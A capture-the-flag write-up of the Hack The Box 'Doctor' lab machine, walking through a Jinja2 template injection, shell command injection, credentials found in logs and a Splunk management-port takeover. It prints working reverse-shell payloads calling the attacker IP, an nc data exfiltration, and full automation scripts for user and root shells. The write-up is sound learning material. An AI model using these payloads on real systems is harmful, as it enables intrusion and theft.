Hack The Box - Doctor Writeup

Published on 2021-02-06 by molzy

Doctor is an Easy-tier vulnerable Linux virtual machine, created by egotisticalSW.

The goal of my participation in Hack The Box is to learn which tools are used for analysis and exploitation of a variety of protocols, and how to use them efficiently. A side goal is to be exposed to unfamiliar software.


Summary

Name Doctor
Creator egotisticalSW
IP Address 10.10.10.209
OS Linux
Release Date 2020-09-26
Retirement Date 2021-02-06
Difficulty Easy (20 points)

Hack The Box - Doctor - Logo

Firstly we interact with an instance of Splunkd, before giving up and noticing that there are multiple doctors. We then learn how to talk to each other, and to a template engine, tricking it into giving us a foothold. Next, we examine some logs, and discover an incorrectly entered credential for a user. Finally, we circle back to the first rabbit hole, use the same credential, and upload a malicious application to gain root access.

I'm still annoyed by the foothold! But this box taught me something about template engines that I was pleased to learn.


Comfortably Numb

Running nmap

Firstly, we add the machine to /etc/hosts, and run nmap. The output from the detailed portscan reveals two services of interest.

attacking host - nmap -Pn -sV doctor.htb
> nmap -Pn -sV -p22,80,8089 doctor.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-xx xx:xx AEDT
Nmap scan report for doctor.htb (10.10.10.209)
Host is up (0.021s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
8089/tcp open  ssl/http Splunkd httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.42 seconds

That higher port looks interesting, let's have a look for any potential easy vulnerabilities. This is an easy box, after all.

Splunking

attacking host
> searchsploit splunk
------------------------------------------------------- ---------------------------
 Exploit Title                                         |  Path
------------------------------------------------------- ---------------------------
Splunk - Remote Command Execution                      | multiple/remote/18245.py
Splunk 4.1.6 - 'segment' Cross-Site Scripting          | multiple/remote/36246.txt
Splunk 4.1.6 Web Component - Remote Denial of Service  | multiple/dos/36247.txt
Splunk 4.3.1 - Denial of Service                       | multiple/dos/38038.txt
Splunk 4.3.3 - Arbitrary File Read                     | multiple/webapps/21053.txt
Splunk 5.0 - Custom App Remote Code Execution (Metaspl | multiple/remote/23224.rb
Splunk 6.1.1 - 'Referer' Header Cross-Site Scripting   | php/webapps/40997.txt
Splunk < 7.0.1 - Information Disclosure                | linux/webapps/44865.txt
Splunk Enterprise - Information Disclosure             | multiple/webapps/41779.txt
Splunk Enterprise 6.4.3 - Server-Side Request Forgery  | multiple/webapps/40895.py
Splunk Enterprise 7.2.3 - (Authenticated) Custom App R | windows/webapps/46238.py
Splunk Enterprise 7.2.4 - Custom App Remote Command Ex | windows/webapps/46487.py
------------------------------------------------------- ---------------------------
Shellcodes: No Results

Looks fairly vulnerable. The most recent exploit(s) are authenticated, so I may have to find credentials first. Let's check the service homepage!

attacking host
> curl https://doctor.htb:8089/
curl: (60) SSL certificate problem: self signed certificate in certificate chain
--[[snip]]--
> curl -k https://doctor.htb:8089/
<?xml version="1.0" encoding="UTF-8"?>
<!--This is to override browser formatting; see server.conf[httpServer] to disable. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .-->
<?xml-stylesheet type="text/xml" href="/static/atom.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:s="http://dev.splunk.com/ns/rest">
  <title>splunkd</title>
  <id>https://doctor.htb:8089/</id>
  <updated>2020-10-04T11:01:46+02:00</updated>
  <generator build="a1a6394cc5ae" version="8.0.5"/>
  <author>
    <name>Splunk</name>
  </author>
  <entry>
    <title>rpc</title>
    <id>https://doctor.htb:8089/rpc</id>
    <updated>1970-01-01T01:00:00+01:00</updated>
    <link href="/rpc" rel="alternate"/>
  </entry>
  <entry>
    <title>services</title>
    <id>https://doctor.htb:8089/services</id>
    <updated>1970-01-01T01:00:00+01:00</updated>
    <link href="/services" rel="alternate"/>
  </entry>
  <entry>
    <title>servicesNS</title>
    <id>https://doctor.htb:8089/servicesNS</id>
    <updated>1970-01-01T01:00:00+01:00</updated>
    <link href="/servicesNS" rel="alternate"/>
  </entry>
  <entry>
    <title>static</title>
    <id>https://doctor.htb:8089/static</id>
    <updated>1970-01-01T01:00:00+01:00</updated>
    <link href="/static" rel="alternate"/>
  </entry>
</feed>

Firstly, it's worth noting that the version number is included, and is more recent than any of the exploits in exploitdb.

<generator build="a1a6394cc5ae" version="8.0.5"/>

Ignoring that for now, /rpc is accessible, whereas the rest of the linked endpoints request a password.

There is not much information about this on the Internet. After some continued searching for a protocol document, I found the following post

Newer Versions of the Forwarder do not use this – it's for backwards compatibility for very old Forwarders which are no longer supported (Version 3.x).

Sounds like this endpoint is outmoded and not useful.

Using A Browser

Let's have a look at the homepage on port 80. I have reproduced some of the homepage below in plaintext.

http://doctor.htb
We Provide High Solutions for Your Health
Get started

Give us a call - 1-999-123-4567
Send us a message - info@doctors.htb
Visit us - 1337 Main St.

We Are Happy To Serve You!

Our Services
Health Services We Provided
- General Surgery
    - Lorem ipsum dolor sit amet, consectetur adipisicing elit. Voluptatibus, ex!
- Outpatient Services
    - Lorem ipsum dolor sit amet, consectetur adipisicing elit. Voluptatibus, ex!
- Doctors Blog
    - Lorem ipsum dolor sit amet, consectetur adipisicing elit. Voluptatibus, ex!
- Cardiac Clinic
    - Lorem ipsum dolor sit amet, consectetur adipisicing elit. Voluptatibus, ex!
- Laryngological Service
    - Lorem ipsum dolor sit amet, consectetur adipisicing elit. Voluptatibus, ex!
- Respiratory Therapy
    - Lorem ipsum dolor sit amet, consectetur adipisicing elit. Voluptatibus, ex!
--[[snip]]--

There is not much information within the text, excepting a sneaky line with one extra character:

Send us a message - info@doctors.htb

We should add doctors.htb to /etc/hosts, and have a look at that page.

Doctor Doctor

http://doctors.htb
Doctor Secure Messaging | Home | Login | Register
---

Log In

Email
[________]
Password
[________]
[x] Remember Me

[Log In] (Forgot Password?)

A portal of some sort! Since there is a registration option, let's try to get in with a new account, molzy.

http://doctors.htb/register
Doctor Secure Messaging | Home | Login | Register
---

Join Today

Username
[molzy]

Email
[molzy@htb.htb]

Password
[molzy@htb.htb]

Confirm Password
[molzy@htb.htb]

[Sign Up]
http://doctors.htb/login
Doctor Secure Messaging | Home | Login | Register
---
Your account has been created, with a time limit of twenty minutes! 

Log In

Email
[molzy@htb.htb]

Password
[molzy@htb.htb]
[x] Remember Me

[Log In] (Forgot Password?)
http://doctors.htb/home
Doctor Secure Messaging | Home | New Message | Account | Logout

[1]

The 1 is highlighted, and appears to be representing pagination, without any visible content. Let's try to add some content using the New Message link.

Spam Eggs & Spam

http://doctors.htb/post/new
Doctor Secure Messaging | Home | New Message | Account | Logout
---

New Post

Title
[________]

Content
[________]

[Post]

Posting some random content ends up creating a new post on the home page.

http://doctors.htb/post/new
Doctor Secure Messaging | Home | New Message | Account | Logout
---

New Post

Title
[Doctorin' The Tardis]

Content
[Doctor Who! (Hey) Doctor Who!
Doctor Who! (Hey) The TARDIS!]

[Post]
http://doctors.htb/home
Doctor Secure Messaging | Home | New Message | Account | Logout
---

Your post has been created!
---

molzy
Doctorin' The Tardis

Doctor Who! (Hey) Doctor Who!
Doctor Who! (Hey) The TARDIS!

[1]

Fantastic. No captcha, so if this were on the wider Internet, you can imagine all of the lovely spam that would flood this secure message board.

Lethal Injections

Now, generally when we can insert user-generated content, there is a way to insert malicious injections of some kind.

Conveniently, the song title above rules out a simple SQL injection, thanks to the apostrophe. Let's try an XSS instead!

Inserting the following into the New Message form:

<script>alert(window.location)</script>

Is entirely unsuccessful. Alright.

Hovering over the post headers reveals some links to interesting URLs; namely, http://doctors.htb/post/2, and http://doctors.htb/post/2. What about /post/1?

http://doctors.htb/post/1
Doctor Secure Messaging | Home | New Message | Account | Logout

admin 2020-09-18
Doctor blog

A free blog to share medical knowledge. Be kind!

Thanks, admin. I don't believe this will be helpful.

It was about time to take a look at the page HTML source for clues as to which language the site is running on. However, looking at the source of the page, we spot a far more interesting artifact:

http://doctors.htb - source code
<div class="navbar-nav mr-auto">
    <a class="nav-item nav-link" href="/home">Home</a>
    <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
</div>

What's this /archive?

http://doctors.htb/archive
<?xml version="1.0" encoding="UTF-8" ?>
    <rss version="2.0">
    <channel>
    <title>Archive</title>
    <item><title>'Doctorin’ The Tardis</title></item>

            </channel>
            <item><title><script>alert(window.location)</script></title></item>

            </channel>

That is a cute little rss feed, right there. I believe this may be the right target for a working injection of some sort, given the script tag was not escaped at all...


Give Me The News

Posting URLs for Pingbacks

Searching the Internet quickly brings up a hit for RSS / Atom injection.

I will set up a listener, attempt to post the URL of my attacking host server to the message board, and see if anything happens.

A message is posted with the following content:

payload
<img src="http://10.10.14.15:3333/get">

We receive a pingback upon attempting submission:

attacking host
> nc -lvp 3333
listening on [any] 3333 ...
connect to [10.10.14.15] from doctor.htb [10.10.10.209] 49286
GET /get HTTP/1.1
Host: 10.10.14.15:3333
User-Agent: curl/7.68.0
Accept: */*

However, the connection closes, and the submission fails with an error message - A link you posted was not valid!

Most likely, it was expecting a timely response. Let's serve up a file! How about a reverse shell?

payload
<a href="http://10.10.14.15:3333/s.php">Doctor Robert</a>
attacking host
> python3 -m http.server 3333
Serving HTTP on 0.0.0.0 port 3333 (http://0.0.0.0:3333/) ...
10.10.10.209 - - [xx/Oct/2020 xx:xx:xx] "GET /s.php HTTP/1.1" 200 -

The message is now successfully created.

Nothing is visible in the message body, other than the tag (html escaped).

The archive feed also shows the exact submission, however, not escaped.

Going back to the headers above. The request is using curl. Is shell injection possible?

We'll setup an nc listener on port 3333, and submit the following:

payload
http://10.10.14.15:3333/$(whoami)

And our listener captures this lovely header:

attacking host - nc -lvp 3333
connect to [10.10.14.15] from doctor.htb [10.10.10.209] 41934
GET /web HTTP/1.1
--[[snip]]--

That looks like shell injection to me!

Shells Without Spaces

Sadly, it can only return one line of content - and it cannot tolerate spaces in the command.

payload
http://10.10.14.15:3333/$(ls)
attacking host - nc -lvp 3333
GET /blog HTTP/1.1
--[[snip]]--

I haven't seen a blog directory so far... Could this be a subdomain?

After scanning, it turns out that this is not blog.doctors.htb or blog.doctor.htb.

Regardless, it's worth trying to run a full command here, perhaps even a reverse shell.

After searching briefly, I found a function called Brace Expansion in Bash, which allows us to form commands without spaces. This is mentioned in a helpful article.

Let's try it out in another message...

payload
http://10.10.14.15:3333/$({echo,hello,world})
attacking host - nc -lvp 3333
GET / HTTP/1.1
--[[snip]]--

No luck. I believe the braces are not able to be included in the command.

Now, where have I noticed braces being unable to be used without some sort of escaping before?

That's right, while I was developing this very blog! They are used for the template replacements.

Editor's Note: The use of the $IFS variable would have successfully bypassed spaces here!

Template Injections

There are plenty of other types of software that are vulnerable to SSTI, and this blog post gives us a few payloads to start with.

http://doctors.htb/post/new - Post Title
{{7*7}} {{self}}

This shows up on the home page as follows.

http://doctors.htb/home
{{7*7}} {{self}}

However, in the /archive...

http://doctors.htb/archive
<item><title>49 &lt;TemplateReference None&gt;</title></item>

That's something more substantial to work with for sure!

The blog post goes further to give us a binary search tree to determine the template engine in use, and an example of a discriminatory payload:

...the probe {{7*'7'}} would result in 49 in Twig, 7777777 in Jinja2...

We send in that exact payload {{7*'7'}}, and successfully identify that the template engine in use is Jinja2!

http://doctors.htb/archive
<item><title>7777777</title></item>

Jinja Ninja

Brute Force?

I wanted to try some keywords, so I wrote a brute force script:

bf.sh
#!/usr/bin/env bash
cookie='Cookie: session=.eJwljstKBTE........'

for FUZZ in $(cat /usr/share/wordlists/seclists/Discovery/Variables/secret-keywords.txt); do
        curl -s 'http://doctors.htb/post/2/update' -H 'Accept: */*' -H 'Content-Type: application/x-www-form-urlencoded' -H "$cookie" --data "title=%7B%7B${FUZZ}%7D%7D&content=I+am+&submit=Post" > /dev/null
        curl -s 'http://doctors.htb/archive' -H 'Accept: */*' -H "$cookie"
done

No juicy secrets unfortunately... However, I stumbled upon a few server errors. Every single variable name attempt with a - dash gave an error page - presumably as they are invalid Python identifiers.

No, Reverse Shell!

Anyway, it's time for a more direct approach. We know the templating engine - let's find a specific article with specific payloads!

post title payload
{{request.application.__globals__.__builtins__.__import__('os').popen( 'id' ).read()}}
<item><title>uid=1001(web) gid=1001(web) groups=1001(web),4(adm)

That's just what we needed!

Adding a reverse shell to the payload:

post title payload
{{request.application.__globals__.__builtins__.__import__('os').popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.15/1337 0>&1"').read()}}

We start a local nc listener, and as soon as we hit the URL http://doctors.htb/archive...

attacking host
> nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.15] from doctor.htb [10.10.10.209] 50480
bash: cannot set terminal process group (863): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
web@doctor:~$ pwd
/home/web
web@doctor:~$ ls
blog
blog.sh
web@doctor:~$ ls /home
shaun
web
web@doctor:~$ cat /etc/passwd
--[[snip]]--
web:x:1001:1001:,,,:/home/web:/bin/bash
--[[snip]]--
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash

We have a foothold!

Enumerating As web

No user.txt flag as yet, but we can't be far off... What's this blog we saw earlier, anyway?

web@doctor
web@doctor:~$ cat blog.sh
#!/bin/bash
SECRET_KEY=1234 SQLALCHEMY_DATABASE_URI=sqlite://///home/web/blog/flaskblog/site.db /usr/bin/python3 /home/web/blog/run.py

Alright, what's run.py?

web@doctor
web@doctor:~$ cat blog/run.py
from flaskblog import create_app

app = create_app()

if __name__ == '__main__':
    app.run(debug=False)

Notably, I don't see a reference to Jinja2 here, only Flask. A quick google shows that Flask leverages Jinja2 as its template engine, which explains that discrepancy.

I think the code is the start of a rabbit hole... But the database may hold goodies.

web@doctor
web@doctor:~$ cd blog/flaskblog
web@doctor:~/blog/flaskblog$ cat site.db | nc 10.10.14.15 4444
attacking host
> nc -lvp 4444 > site.db
listening on [any] 4444 ...
connect to [10.10.14.15] from doctor.htb [10.10.10.209] 52792
^C

> sqlite3 site.db
SQLite version 3.33.0 2020-08-14 13:23:32
Enter ".help" for usage hints.
sqlite> .tables
post  user
sqlite> select * from user;
1|admin|admin@doctor.htb|default.gif|
    $2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S

That's a password hash - let's give it to our friend john.

An Admin Hash

No luck with the cracking - it's bcrypt. Very slow to crack.

But can we replace the hash in the local database?

attacking host
> sqlite3 site.db
sqlite> select * from user;
1|admin|admin@doctor.htb|default.gif|
    $2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S
2|foo|foo@bar.com|default.gif|
    $2b$12$uxAk1lakXzESVTtNdCYB9eED2tK8pVCGzpAco0rIla43JHZkLS5o.
sqlite> update user set password='$2b$12$uxAk1lakXzESVTtNdCYB9eED2tK8pVCGzpAco0rIla43JHZkLS5o.' where 1=1;
sqlite> ^C

> python3 -m http.server

Let's register another user (it has been 20 minutes in the meantime), and repeat the sequence of commands to upload the new database:

post title payload
{{request.application.__globals__.__builtins__.__import__('os').popen('wget http://10.10.14.15:8000/site.db ').read()}}
web@doctor
web@doctor:~$ mv ~/site.db ~/blog/flaskblog/

We were able to replace the file, and subsequently log in as admin... Which didn't help us at all.

We'll need some other way to escalate.


Dr. Feelgood

Enumerate Harder

A few fun facts uncovered during further enumeration:

web@doctor
web@doctor:~$ cat /etc/ssh/sshd_config | grep -v '^#'
--[[snip]]--
PermitRootLogin yes
--[[snip]]--
DenyUsers shaun

Now, what does the adm group give access to?

That's right, logs!

After a few unsuccessful searches through the files in /var/log, I do the obvious thing, and after a lot of scrolling found just what we needed:

web@doctor via nc
web@doctor:~$ grep -ir password /var/log
--[[snip]]--
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
--[[snip]]--

That is a password - and it's in a log file named backup... Sounds legitimate.

web@doctor via nc
web@doctor:~$ su shaun
su shaun
Password: Guitar123
whoami
shaun
ls ~
user.txt
cat ~/user.txt
9be051e3...

And we have user.txt!

Persistent User Script

I created a bash script to automate the escalation from zero to user shell. It is reproduced below.

user.sh
#!/usr/bin/env bash
# Random username
usern=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)

# Register
curl -s 'http://doctors.htb/register' \
         -H 'Accept: */*' \
         -H 'Content-Type: application/x-www-form-urlencoded' \
         --data "username=$usern&email=$usern%40htb.htb&password=$usern%40htb.htb&confirm_password=$usern%40htb.htb&submit=Sign+Up" > /dev/null

# Login
cookie=$(\
curl 'http://doctors.htb/login' \
         -H 'Accept: */*' \
         -H 'Content-Type: application/x-www-form-urlencoded' \
         --data "email=$usern%40htb.htb&password=$usern%40htb.htb&submit=Login" -v 2>&1 | grep -o 'Set-Cookie: [^;]*' | sed 's/Set-//')

# IP address
ipadd=$(ip addr | grep -o "10.10.14.[^/]*")

# Post template injection
curl -s 'http://doctors.htb/post/new' \
         -H 'Accept: */*' \
         -H 'Content-Type: application/x-www-form-urlencoded' \
         -H "$cookie" \
         --data-urlencode "title={{request.application.__globals__.__builtins__.__import__('os').popen('/bin/bash -c \"/bin/bash -i >& /dev/tcp/${ipadd}/1337 0>&1\"').read()}}" \
         --data-urlencode "content=I+am+&submit=Post" > /dev/null

# Activate template injection
curl -s 'http://doctors.htb/archive' -H 'Accept: */*' -H "$cookie" 2>&1 >/dev/null &disown

echo "su shaun
Guitar123

whoami
/bin/bash -i >& /dev/tcp/${ipadd}/9898 0>&1
exit

" | nc -lvp 1337 &disown

nc -lvp 9898

Running the above script produces the following output:

attacking host
> ./user.sh
listening on [any] 1337 ...listening on [any] 9898 ...

connect to [10.10.14.15] from doctor.htb [10.10.10.209] 37802
bash: cannot set terminal process group (867): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$ su shaun
Password: shaun
connect to [10.10.14.15] from doctor.htb [10.10.10.209] 39930
bash: cannot set terminal process group (867): Inappropriate ioctl for device
bash: no job control in this shell
shaun@doctor:/home/web$

This gives us a nifty shell as the user shaun in about 5 seconds.

What Can Shaun Do?

There is nothing much to see as the shaun user on the box. However, now that we have credentials, we should check the splunkd port's /services endpoint.

Navigating to https://doctor.htb:8089/services brings up a HTTP Basic auth dialog.

https://doctor.htb:8089/services
Username:
[shaun]

Password:
[Guitar123]

The credentials shaun:Guitar123 are successful for logging into the endpoint!


I Like Them Big

I Like Them Splunky

A long list of endpoints is presented. Some interesting names are admin, apps, and search.

Firstly, let's see if this is going to be really easy.

We quickly find a blog post contaning a lot of screenshots of a web interface, which is not at all similar to what we are looking at! The tool referenced is not helpful in our scenario, as best I can tell.

Upon searching for splunk rce 8089, we discover a blog post detailing usage of a tool named SplunkWhisperer2 for automated code execution using this management port!

attacking host
> git clone https://github.com/cnotin/SplunkWhisperer2
--[[snip]]--
> cd SplunkWhisperer2/PySplunkWhisperer2
> python3 PySplunkWhisperer2_remote.py
usage: --[[snip]]--
> python3 PySplunkWhisperer2_remote.py \
        --host doctor.htb \
        --lhost 10.10.14.15 \
        --username shaun \
        --password Guitar123 \
        --payload "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmp7176gcg2.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.15:8181/
10.10.10.209 - - [xx/Oct/2020 xx:xx:xx] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!

That was surprisingly painless!

With Something Something

In an nc listener, which was set up before running the above payload:

attacking host - nc -lvp 4444
> nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.15] from doctor.htb [10.10.10.209] 43154
bash: cannot set terminal process group (1132): Inappropriate ioctl for device
bash: no job control in this shell
root@doctor:/# whoami && hostname && wc -c /root/root.txt
root
doctor
33 /root/root.txt

We are done here!


After Root

Auto-Root Script

I also went to the trouble of scripting up the root shell grab, since I might as well.

root.sh
#!/usr/bin/env bash

ipadd=$(ip addr | grep -o "10.10.14.[^/]*")

printf "\r\n\r\n" | python3 PySplunkWhisperer2_remote.py \
        --host 10.10.10.209 \
        --lhost $ipadd \
        --username shaun \
        --password Guitar123 \
        --payload "/bin/bash -c '/bin/bash -i >& /dev/tcp/${ipadd}/4444 0>&1'" >/dev/null &disown

nc -lvp 4444

We can skip the user.sh script to grab root in this way! This is due to the credential we found while enumerating the filesystem as the web user.

Thanks to the box creator! I managed to learn about how template engines can be too flexible for their own good. This machine did take more time to solve than I expected for an easy box, however, that's when I know that the solution is something that I haven't encountered before!